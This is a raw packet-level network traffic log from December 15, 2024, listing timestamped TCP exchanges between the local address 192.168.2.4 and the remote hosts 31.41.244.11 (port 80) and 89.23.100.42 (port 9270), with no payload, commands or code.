Dec 15, 2024 11:59:28.743417025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.743452072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.744612932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.744647026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.744690895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.744729042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.745788097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.745825052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.745888948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.745925903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.746997118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.747035027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.747114897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.747154951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.748197079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.748234987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.748280048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.748318911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.749468088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.749509096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.749588013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.749624968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.750731945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.750772953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.750813961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.750847101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.751791954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.751838923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.751889944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.751926899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.753031015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.753068924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.753139019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.753174067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.754199982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.754237890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.754292965 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.754328966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.755399942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.755450010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.755522966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.755568027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.756612062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.756652117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.756814003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.756849051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.758006096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.758043051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.758107901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.758146048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.759218931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.759274006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.759319067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.759358883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.760230064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.760267019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.760282993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.760319948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.761568069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.761609077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.761643887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.761681080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.762658119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.762703896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.762825012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.762867928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.763943911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.763984919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.763993979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.764075994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.765062094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.765103102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.765121937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.765155077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.766285896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.766324043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.766448021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.766479969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.767486095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.767529011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.767689943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.767743111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.768661022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.768697977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.783505917 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:28.789726019 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:28.897876978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.897927046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.898102999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.898139954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.898448944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.898483992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.898524046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.898559093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.899410009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.899449110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.899599075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.899640083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.900614977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.900656939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.900708914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.900746107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.901803017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.901839018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.901858091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.901894093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.903078079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.903121948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.903198957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.903237104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.904226065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.904262066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.904377937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.904414892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.905365944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.905412912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.905440092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.905478954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.906565905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.906605005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.906661034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.906696081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.907795906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.907834053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.907887936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.907926083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.908981085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.909023046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.909089088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.909121990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.909411907 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:28.909461021 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:28.910187006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.910226107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.910298109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.910336018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.911415100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.911453962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.911501884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.911533117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.912576914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.912616014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.912687063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.912734032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.913752079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.913790941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.913846016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.913877010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.914992094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.915030003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.915083885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.915122986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.916151047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.916187048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.916249037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.916285992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.917351961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.917387962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.917455912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.917491913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.918548107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.918586969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.918673992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.918709993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.919770956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.919811010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.919954062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.919998884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.920958996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.921000004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.921060085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.921094894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.922152042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.922189951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.922269106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.922307014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.923379898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.923422098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.923444033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.923480988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.924603939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.924653053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.924674034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.924710989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.925745964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.925784111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.925841093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.925878048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.926929951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.926971912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.927083015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.927119970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.928148031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.928184032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.928262949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.928297043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.929357052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.929393053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.929450989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.929507971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.930530071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.930571079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.930644989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.930680990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.931750059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.931787968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.931899071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.931931973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.932919979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.932957888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.933031082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.933068037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.934125900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.934166908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.934241056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.934282064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.935363054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.935403109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.935448885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.935484886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.936526060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.936563969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.936635971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.936671019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.937732935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.937767982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.937870979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.937910080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.938910961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.938944101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.939017057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.939053059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.940148115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.940181017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.940201044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.940233946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.941356897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.941396952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.941437960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.941473007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.942512989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.942554951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.942651987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.942692995 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.943717957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.943770885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.943855047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.943890095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.944917917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.944958925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.945053101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.945089102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.946093082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.946145058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.946206093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.946240902 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.947357893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.947402000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.947424889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.947463989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.948523998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.948560953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.948663950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.948719025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.949753046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.949806929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.949819088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.949860096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.950933933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.950978994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.951030016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.951065063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.952104092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.952143908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.952214956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.952244997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.953283072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.953294039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.953325987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.953341007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.954459906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.954499006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.954596043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.954631090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.955760002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.955797911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.955905914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.955939054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.956996918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.957046986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.957278967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.957313061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.958085060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.958127022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.958225012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.958264112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.959305048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.959346056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.959412098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.959446907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.960520029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.960553885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.029164076 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.029218912 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:29.090260029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.090281010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.090310097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.090322971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.090785027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.090820074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.090846062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.090888977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.092011929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.092050076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.092109919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.092147112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.093234062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.093275070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.093348026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.093385935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.094310045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.094352961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.094407082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.094440937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.095530033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.095567942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.095624924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.095665932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.096698999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.096738100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.096812010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.096851110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.098083019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.098125935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.098182917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.098222971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.099143982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.099189997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.099324942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.099364042 CET	49805	80	192.168.2.4	31.41.244.11
